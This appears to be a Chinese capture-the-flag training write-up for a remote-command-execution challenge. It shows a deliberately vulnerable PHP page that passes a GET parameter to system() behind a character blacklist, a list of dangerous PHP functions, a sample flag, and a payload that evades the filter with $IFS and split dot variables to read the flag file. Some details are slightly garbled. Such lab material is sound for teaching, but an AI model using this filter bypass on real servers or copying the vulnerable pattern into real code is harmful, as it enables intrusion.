[题目信息]：

题目名称	题目难度
no_good_file（训练题）	2

[题目考点]：

远程命令执行漏洞，用户通过浏览器提交执行命令，由于服务器端没有针对执行函数做过滤，导致在没有指定绝对路径的情况下就执行命令，可能会允许攻击者通过改变 $PATH 或程序执行环境的其他方面来执行一个恶意构造的代码。

以下是可能会造成任意命令执行的函数

system|passthru|exec|popen|proc_open|move_uploaded_file|eval|copy|shell_exec|assert

[Flag格式]:

SangFor{CEFHCp-i7vPT1RpytkTOaNqlTutti6Xk}

[环境部署]：

docker-compose.yml文件或者docker tar原始文件。

http://分配ip:5019

[题目writeup]：

1、实验主页

2、代码分析

 <?phphighlight_file(__FILE__);$cmd=$_GET['cmd'];$str1='/';$str2='..';$str3='|';$str4=' ';$str5='&';$str5='@';$str6='!';$str7='+';$str8='>';$str9='(';$str10='\\';$str11='^';if((strstr($cmd,$str1)) || (strstr($cmd,$str2)) || (strstr($cmd,$str3)) || (strstr($cmd,$str4)) || (strstr($cmd,$str5)) || (strstr($cmd,$str6)) || (strstr($cmd,$str7)) || (strstr($cmd,$str8))|| (strstr($cmd,$str9))|| (strstr($cmd,$str10))|| (strstr($cmd,$str11))){exit("quit!!!!");}if (!empty($cmd)){echo "<pre>";system($cmd);echo "<pre>";}else{echo "</br>Please enter the Command! </br>";}
?> 

代码较长，主要分析核心代码；

1. 用户通过get方式传递参数值
2. 提示flag位于"/flag"，但禁用了两个关键符号，"/"、":“以及”…"；
3. 如果通过waf后，会执行system()函数；

因为没有过滤.号，可以通过命令拼接构造…；以及利用cd …命令不断返回上一层，到达"/"目录，执行cat flag

payload

cmd=a=.;b=.;cd$IFS$9$a$b;cd$IFS$9$a$b;cd$IFS$9$a$b;cat$IFS$9flag